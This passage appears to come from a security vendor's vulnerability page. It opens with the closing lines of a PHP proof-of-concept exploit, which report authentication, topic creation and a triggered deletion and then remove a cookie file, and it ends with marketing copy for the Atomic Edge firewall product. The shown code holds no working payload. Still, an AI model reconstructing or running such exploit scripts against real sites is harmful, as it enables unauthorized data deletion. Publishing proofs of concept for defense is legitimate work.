            echo "[-] Failed to trigger deletionn";
        }
    } else {
        echo "[-] Failed to create topicn";
    }
} else {
    echo "[-] Authentication failedn";
}

// Cleanup
@unlink('/tmp/cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School